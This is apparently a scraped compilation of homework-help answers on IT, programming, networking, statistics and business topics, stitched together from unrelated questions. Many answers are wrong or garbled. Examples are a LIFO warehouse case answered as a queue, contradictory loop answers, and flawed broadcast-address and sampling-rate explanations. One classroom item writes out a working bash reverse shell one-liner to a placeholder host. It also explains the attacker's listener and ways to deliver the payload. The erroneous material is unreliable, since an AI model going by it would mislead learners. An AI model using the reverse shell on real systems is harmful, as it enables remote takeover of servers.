Answer:
True
Explanation:
this is true and here is an explanation on how they operate.
New is readily available through various sources, newspapers, magazine, radio, tv,and the internet. Each of these sources in competition.
A given story most times had same content often times due to much dependence on wired services.
wire services would collect stories from reporters, edit them to standard format and then distribute to broadcast stations and print media.
When a code block is placed inside this loop, what happens to the code?
A. It repeats until the program stops running.
B. It repeats once and then stops.
C. It repeats a certain number of times and then stops.
D. It repeats as long as a certain condition is true.
When a code block is placed inside a loop, what happens to the code is that: D. It repeats as long as a certain condition is true.
What is a looping structure?A looping structure can be defined as a type of function that is designed and developed (written) to instruct a computer to repeat specific statements, especially for a certain number of times based on some certain true condition(s).
The types of looping structure.In Computer programming, there are different types of looping structure and these include the following:
If/Else StatementIf StatementFor LoopWhile LoopForever loopIndefinite loopThis ultimately implies that, a code block would repeat particular statements for a certain number of times (iterations) based on some certain true condition(s) in the looping structures.
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Answer:
C.
It repeats a certain number of times and then stops.
Explanation:
A researcher investigated whether job applicants with popular (i.e. common) names are viewed more favorably than equally qualified applicants with less popular (i.e. uncommon) names. Participants in one group read resumes of job applicants with popular (i.e. common) names, while participants in the other group read the same resumes of the same job applicants but with unpopular (i.e. uncommon) names. The results showed that the differences in the evaluations of the applicants by the two groups were not significant at the .001 level
The study looked into whether job applicants with well-known names would do better than those with less well-known names who were similarly qualified. At a.001 level, the results revealed no significant differences in judgements.
What two conclusions may you draw from doing a hypothesis test?There are two outcomes that can occur during a hypothesis test: either the null hypothesis is rejected or it is not. But keep in mind that hypothesis testing draws conclusions about a population using data from a sample.
What are the two sorts of research hypotheses?A hypothesis is a general explanation for a set of facts that can be tested by targeted follow-up investigation. Alternative hypothesis and null hypothesis are the two main categories.
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Is there anything you should be doing and / or do better at home to make sure your computer is always clean and running efficiently?
Answer:
Using the proper computer equipment and regularly performing a few small maintenance activities will help to keep your computer running smoothly and efficiently.
Organize your installation disks
Protect Your Computer Equipment from Power Surges. ...
Defragment Your Hard Drive. ...
Check Your Hard Disk for Errors. ...
Backup Your Data.
Update everything
Clean up your software.
Run antivirus and spyware scans regularly.
Explanation:
A help desk technician is troubleshooting a workstation in a SOHO environment that is running above normal system baselines. The technician discovers an unknown executable with a random string name running on the system. The technician terminates the process, and the system returns to normal operation. The technician thinks the issue was an infected file, but the antivirus is not detecting a threat. The technician is concerned other machines may be infected with this unknown virus. Which of the following is the MOST effective way to check other machines on
the network for this unknown threat?
answer choices
Monitor outbound network traffic.
Manually check each machine.
Provide a sample to the antivirus vendor.
Run a startup script that removes files by name.
The best approach to verify additional machines mostly on network for this unidentified danger is to manually examine each one.
What is an example of workstation?The Alto, created in 1973 at Xerox PARC, was the first single-user computer featuring high-resolution graphics (and hence a workstation in the contemporary sense of the word). This same Terak 8510/a (1977), Rivers Flow PERQ (1979), and also the later Xerox Star are further vintage workstations (1981).
What distinguishes a workstation from a server?Servers are pieces of hardware & software that process client requests, control network resources, and store data. Workstations, which comprise laptops and desktop computers, efficiently carry out challenging, technical tasks including producing digital content and doing in-depth analysis.
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By using your own data, search engines and other sites try to make your web experience more personalized. However, by doing this, certain information is being hidden from you. Which of the following terms is used to describe the virtual environment a person ends up in when sites choose to show them only certain, customized information?
A filter bubble
A clustered circle
A relational table
An indexed environment
Answer:
A filter bubble
Explanation:
32. The broadcast address is a special address in which the host bits in the network address are all set to 1, and it can also be used as a host address.
A.True
B.False
Some host addresses are reserved for special uses. On all networks, host numbers 0 and 255 are reserved. An IP address with all host bits set to 1 is False.
How can I find a network's broadcast address?Any device connected to a multiple-access communications network can receive data from a broadcast address. Any host with a network connection could receive a message delivered to a broadcast address.All hosts on the local subnet are reached by using this address to send data. The Routing Information Protocol (RIP), among other protocols that must communicate data before they are aware of the local subnet mask, uses the broadcast address.The use of some host addresses is reserved. Host numbers 0 and 255 are set aside for use only on reserved networks. When all host bits are set to 1, an IP address is considered false.To learn more about Broadcast address refer to:
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The security administrator for Corp.com. You are explaining to your CIO the value of credentialed scanning over non-credentialed scanning. In credentialed scanning, policy compliance plugins give you which advantage?
In credentialed scanning, policy compliance plugins give you an advantage known as option C: Customized auditing.
What does auditing serve to accomplish?The goal of an audit is to determine if the financial report's information, taken as a whole, accurately depicts the organization's financial situation as of a particular date. For instance, is the balance sheet accurately recording the organization's assets and liabilities?
Therefore since the goal of such a tailored audit, aside from cost and time savings, so, it is to present an objective overall picture of your supplier's organization in all pertinent disciplines, allowing you to better target risk areas and allocate control resources where they are most needed.
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See full question below
The security administrator for Corp.com. You are explaining to your CIO the value of credentialed scanning over non-credentialed scanning. In credentialed scanning, policy compliance plugins give you which advantage?
More accurate results
Safer scanning
Customized auditing
Active scanning
tool that help to monitor the ongoing performance of the platform for Accenture
Answer:
MyConcerto
Explanation:
Accenture may be described as an industry leader which renders professional services capable of solving various business problems by leveraging the use technology involving data and business intelligence to proffer solutions to their clients needs. The MyConcerto firmly known as the Accenture Intelligence Enterprise platform is designed to continously help businesses measure performance, identify shortfalls and proffer solutions using data driven insight. It offered a fully automated platform with predefined solutions geared at accelerating business decisions and adaptive solution.
MyConcerto is a tool which helps to monitor the ongoing performance of the
platform for Accenture.
Myconcerto is a digital platform which brings together and incorporates
innovation and leadership qualities. It involves the use of technology and
solutions which results in exponential business outcomes.
These qualities help in the monitoring process of ongoing performance
which is available on Accenture.
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Performing binary search on an unsorted list will always return the correct answer in O(n) time where n is the length of the list.
a) true
b) false
Answer:
B. False
Explanation:
Binary search does not work in an unsorted list, therefore it will not return the correct answer in 0(n) time.
For an unsorted list, linear search is the better way of searching for algorithms.
For a binary search, it goes through a sorted list to locate a desired element. It repeats its processes until it picks the correct element it is looking for.
How to add up multiple user inputs for example: If i ask the user How many numbers do you want to add? they say 5 then i out put Enter 5 numbers: how can i get it to add up those 5 numbers that were input.In JAVA
Answer:
import java.util.Scanner;
class Main {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
System.out.println("How many numbers do you want to add?");
int numberOfNumbers = scanner.nextInt();
int arrayNumbers[] = new int[numberOfNumbers];
System.out.println("Enter " + numberOfNumbers + " numbers:\n");
for(int i = 0; i < numberOfNumbers; i++){
int addToArray = scanner.nextInt();
arrayNumbers[i] = addToArray;
}
int sum = 0;
for(int j = 0; j < arrayNumbers.length; j++){
sum+=arrayNumbers[j];
}
System.out.println("Sum: " + sum);
}
}
Explanation:
What is blue L.E.D. light
A(n) _____ for an Active Directory object represents the complete LDAP path to an object from the domain.
There are different types of LDAP port. The distinguished name for an Active Directory object represents the complete LDAP path to an object from the domain.
All entry in the directory is known to have a unique distinguished name (DN). The DN is simply defined as the name that set apart and identifies an entry in the directory. It is made up of Relative Distinguished Name (RDN)and other attributes.
Active Directory is known to be an LDAP-compliant directory service where all access to directory objects occurs through LDAP. LDAP needs that names of directory objects be formed.
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2. You are developing a new application that optimizes the processing of a warehouse’s operations. When the products arrive, they are stored on warehouse racks. To minimize the time it takes to retrieve an item, the items that arrive last are the first to go out. You need to represent the items that arrive and leave the warehouse in a data structure. Which data structure should you use to represent this situation?
a) array
b) linked list
c) stack
d) queue
Answer:
Option d) is correct
Explanation:
To optimize the processing of a warehouse’s operations, products are stored on warehouse racks when they arrive. The items that arrive last are the first to go out to minimize the time it takes to retrieve an item. The items that arrive need to be represented and the warehouse should be left in a data structure. The data structure which should you use to represent this situation is a queue.
Option d) is correct
similarities between incremental and
prototyping models of SDLC
Prototype Model is a software development life cycle model which is used when the client is not known completely about how the end outcome should be and its requirements.
Incremental Model is a model of software consequence where the product is, analyzed, developed, implemented and tested incrementally until the development is finished.
What is incremental model in SDLC?
The incremental Model is a process of software development where conditions are divided into multiple standalone modules of the software development cycle. In this model, each module goes through the conditions, design, implementation and testing phases.
The spiral model is equivalent to the incremental model, with more emphasis placed on risk analysis. The spiral model has four stages: Planning, Risk Analysis, Engineering, and Evaluation. A software project frequently passes through these phases in iterations
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Which process in manometer installation requires using three valves to calibrate the manometer for differential pressure measurements? A. Cutting in and cutting B. Cutting in C. Cutting out D. Overranging
The cutting in and cutting process in manometer installation requires using three valves to calibrate the manometer for differential pressure measurements.
What is the purpose of a manometer?A manometer can be designed to directly measure absolute pressure. The manometer in actions the pressure compared to zero absolute pressure in a secure leg above a mercury column. The most common formation of this manometer is the conventional mercury barometer used to measure atmospheric pressure.
What is the principle of manometer?
The principle of the manometer is that the pressure to be measured is applied to one side of the tube producing a movement of liquid.
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your manager asks you to set up a secure network connection at a remote site to move over some backups which protocol would you ues?
The protocol that should be used for establishing a secure network connection is SSH.
The following information is to be considered:
SFTP is secure also it is a protocol for file transferring that applied SSH. IP, FTP, and DHCP should not be for safety purposes as they are not secure. SSH is a secured connection for the remote sites so here the SSH protocol should be used.Therefore we can conclude that The protocol that should be used for establishing a secure network connection is SSH.
The business analysts at your organization often take weeks to come up with an updated set of requirements. So the senior developer for your team encourages everyone to catch up on their training while they wait for the update. If you were an agile coach for the organization, what might you do to improve the situation?
If I was an agile coach for the organization, I would ask the software development team to only do peer-to-peer training.
What is SDLC?SDLC is an abbreviation for software development life cycle and it can be defined as a strategic methodology that defines the key steps, phases, or stages for the design, development and implementation of high quality software programs.
In Agile software development, the software development team are more focused on producing working software programs with less effort on documentation.
In this scenario, I would ask the software development team to only do peer-to-peer training assuming I was an agile coach for the organization because it would provide the most fitting employees.
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Design the logic for a program that allows a usher to continuously enter numbers until the usher enters 0. Display the sum of the numbers entered.
int sum = 0, n;
do {cin>>n; sum+=n;}while (n!=0);
cout<<sum;
10. Question
What are the drawbacks of purchasing something online? Check all that apply.
Explanation:
1) the quality of purchased good may be low
2) there might me fraud and cheaters
3) it might be risky
4) we may not get our orders on time
There are many drawbacks of purchasing online, some of them are as follows,
Chance of pirated item in place of genuine product.Chances of fraud during digital purchase and transaction.Product not deliver on time as expected.Not getting chance to feel the product before purchase.These are some of the drawbacks of purchasing something online.
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working with the tkinter(python) library
make the window you create always appear on top of other windows. You can do this with lift() or root.attributes('-topmost', ...), but this does not apply to full-screen windows. What can i do?
To make a tkinter window always appear on top of other windows, including full-screen windows, you must use the wm_attributes method with the topmost attribute set to True.
How can I make a tkinter window always appear on top of other windows?By using the wm_attributes method in tkinter and setting the topmost attribute to True, you can ensure that your tkinter window stays on top of other windows, even when they are in full-screen mode.
This attribute allows you to maintain the window's visibility and prominence regardless of the current state of other windows on your screen.
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With the help of the network, the attacker can obtain the shell or root shell of the remote server (Linux operating system-based) through the reverse shell attack, and then get full control of the server. The typical reverse shell instruction is as follows:
/bin/bash -c "/bin/bash -i > /dev/tcp/server_ip/9090 0<&1 2>&1"
1) Please explain the meaning of 0,1,2,>, <, & represented in the above statement;
2) What does the attacker need to do on his machine in order to successfully get the shell information output on the server side? And please explain the meaning represented by /dev/tcp/server_ip/9090;
3) Combined with the above statement, explain the implementation process of reverse shell attack;
4) Combined with the relevant knowledge learned in our class, what attacking methods can be used to successfully transmit and execute the above reverse shell instruction on the server side?
1. 0 represents standard input (stdin), 1 represents standard output (stdout), 2 represents standard error (stderr), > is output redirection, < is input redirection, and & is used for file descriptor redirection.
2. In this case, the attacker should listen on port 9090 using a tool such as netcat or a similar utility.
3.Identify vulnerable system, craft reverse shell payload, deliver payload to target, execute payload to establish connection with attacker are methods for implementation.
4. Exploiting vulnerabilities, social engineering, planting malware/backdoors, compromising trusted user accounts can be used to execute the reverse shell instruction.
1. In the reverse shell instruction provided ("/bin/bash -c "/bin/bash -i > /dev/tcp/server_ip/9090 0<&1 2>&1"), the symbols 0, 1, 2, >, <, and & represent the following:
0: It represents file descriptor 0, which is the standard input (stdin).
1: It represents file descriptor 1, which is the standard output (stdout).
2: It represents file descriptor 2, which is the standard error (stderr).
: It is the output redirection symbol and is used to redirect the output of a command to a file or device.
<: It is the input redirection symbol and is used to redirect input from a file or device to a command.
&: It is used for file descriptor redirection, specifically in this case, combining stdout and stderr into a single stream.
2. To successfully get the shell information output on the server side, the attacker needs to set up a listening service on their own machine. In this case, the attacker should listen on port 9090 using a tool such as netcat or a similar utility. The "/dev/tcp/server_ip/9090" in the reverse shell instruction represents the connection to the attacker's machine on IP address "server_ip" and port 9090. By specifying this address and port, the attacker creates a connection between their machine and the compromised server, allowing the output of the shell to be sent to their machine.
3. The reverse shell attack is typically performed in the following steps:
The attacker identifies a vulnerability in the target server and gains control over it.The attacker crafts a payload that includes the reverse shell instruction, which allows the attacker to establish a connection with their machine.The attacker injects or executes the payload on the compromised server, initiating the reverse shell connection.The reverse shell instruction creates a new shell on the compromised server and connects it to the attacker's machine, redirecting the shell's input and output streams to the network connection.Once the reverse shell connection is established, the attacker gains interactive access to the compromised server, obtaining a shell or root shell, and can execute commands as if they were directly working on the server itself.4. Successfully transmit and execute the reverse shell instruction on the server side, the attacker can use various attacking methods, including:
Exploiting a vulnerability: The attacker can search for known vulnerabilities in the target server's operating system or specific applications running on it. By exploiting these vulnerabilities, they can gain unauthorized access and inject the reverse shell payload.
Social engineering: The attacker may use social engineering techniques, such as phishing emails or deceptive messages, to trick a user with access to the server into executing the reverse shell payload unknowingly.
Malware or backdoor installation: If the attacker already has control over another system on the same network as the target server, they may attempt to install malware or a backdoor on that system. This malware or backdoor can then be used to launch the reverse shell attack on the target server.
Compromising a trusted user account: The attacker may target and compromise a user account with privileged access on the server. With the compromised account, they can execute the reverse shell instruction and gain control over the server.
It is important to note that carrying out such attacks is illegal and unethical unless done with proper authorization and for legitimate security testing purposes.
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Behaving in an acceptable manner within a workplace environment is referred to as having
restraint
workplace etiquette
patience
experience
Answer:
Workplace Etiquette
Explanation:
Hope dis helps
Answer:
B) workplace etiquette
Explanation:
Predicate Logic The following is a snippet of pseudocode designed to produce an array (similar to a matrix). The variables m and n are integer variables and the variable A is a two-dimensional array with 10 rows (indexed from 1 to 10) and 8 columns (indexed from 1 to 8). \array.pas\ For m:=1to * 10do For n:=1to * 8do forall m bullet forall n bullet A[m, n]in mathbb Z . (d) The entries in each row of the array A are sorted into strictly decreasing order. You will also be asked to decide whether each statement is True or False. For example, the above statement is True. As an example, the statement "All entries in the array A are integers." can be expressed as (e) Some of the entries of the array A are greater than 30. (b) All entries in the array A are positive and less than 70. 1. Express each of the statements below in predicate logic. (a) All entries in the array A are positive. In the code above, A[m.n] refers to the entry in row m and column n Your task is to express the various statements bel
4. A girl called Felicity called you as a service referral. She has reported that (in her computer)
the date of the system goes back 5 years every time she turns on the computer. No matter
how many times she sets it back to the right date the issue remains. What is likely the cause
of her problem? What could you ask her to do to fix the problem? In case there is something
to be purchased, what would she ask for?
Answer:
The CMOS battery is bad. Replace the CMOS battery. A CMOS battery. They are very cheap as they are simply button cell batteries.
Most information technology careers require workers to perform jobs from a
The majority of information technology occupations require employees to operate in a safe office environment.
What are careers in information technology?These are those who use computers or other digital equipment to work. They support businesses or organisations with installation and digital-related issues. Their work requires a private, secure setting for privacy.
What is an information technology career?Any position that involves the implementation, support, upkeep, maintenance, repair, or security of data or computer systems is classified as an IT job. The most typical examples of IT employment are those that work on the creation, implementation, or support of the programmes or systems that other people utilise.
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Question:
Most Information Technology careers require workers to perform their jobs in
A) a home office.
B) a business office.
C) a secure office.
D) an off-site office.
What is the proper order for the fetch-execute cycle?
A) fetch, decode, execute, store
B) store, fetch, execute, decode
C) fetch, execute, decode, store
D) fetch, store, decode, execute
Answer:
A. fetch, decode,execute, store
The fetch-execute cycle is a computer's fundamental operation cycle. The correct option is A.
What is a fetch-execute cycle?The fetch-execute cycle is a computer's fundamental operation (instruction) cycle (also known as the fetch decode execute cycle). The computer obtains a software instruction from memory during the fetch execute cycle. It then establishes and executes the activities necessary for that instruction.
The proper order for the fetch-execute cycle, decode, execute, store.
Hence, the correct option is A.
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Define Hierarchical database model:-:
\( \\ \\ \\ \\ \)
Answer:
A hierarchical database is a data model in which data is stored in the form of records and organized into a tree-like structure, or parent-child structure, in which one parent node can have many child nodes connected through links.
Explanation:
Please refer to the text and image also.
Hope it helps
Mark me as brainliest
what is Converting digital data and see information to display screen can use to create an image?
Answer:
Most displays in current use employ cathode ray tube ( CRT ) technology similar to that used in most television sets. The CRT technology requires a certain distance from the beam projection device to the screen in order to function.
The output signal from an analogue sensor is sampled every 195 µs to convert it into a digital representation. What is the corresponding sampling rate expressed in kHz?
According to the Sampling Theorem, for this sampling rate value, what approximately could be the highest frequency present in the signal, in kHz, assuming the lowest frequency is very close to zero?
If each sample is now quantised into 512 levels, what will be the resulting bitrate in kbps?
Give your answer in scientific notation to 2 decimal places.
Hint: you need to determine the number of bits per sample that produces 512 quantisation levels.
Answer:
A sample rate is just reciprocal of the sample period. According to sampling theorem the highest frequency in single would be \(5.13/2=2.565 KHz.\)\(2^8=512\) So you will need 8 bits to represent.\(8 bits \times5.128\times(10)^3\)samples \(=41.026\) bits per second.Explanation:
Sample period of 1 millisecond \(=1 kHz.\)
Thus a sample period of \(0.195\) milliseconds is
\(1/0.195=5.12820513 Hz\)
To determine the sample after \(512\) levels quantization, we need to find bits per sample that produces \(512\) quantization levels.
Thus,
\(2^8=512\)
So you will need 8 bits to represent.
8 bits \(\times5.128\times(10)^3\) samples \(=41.026\) bits per second.
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can someone please give me the correct answer to this? 8.7.5 Calendar Codehs.
The calendar Codes is given as follows;
import calendar
# Prompt user for month and year
month = int(input("Enter month (1-12): "))
year = int(input("Enter year: "))
# Display calendar for the given month and year
print(calendar.month(year, month) )
How does this work ?The month ) function from the calendar module takes two arguments: the year and month to display the calendar for.
It returns a formatted string representing the calendar for that month, which is then printed to the console.
A formatted string literal, often known as an f-string, is a string literal that begins with 'f' or 'F' in programming.
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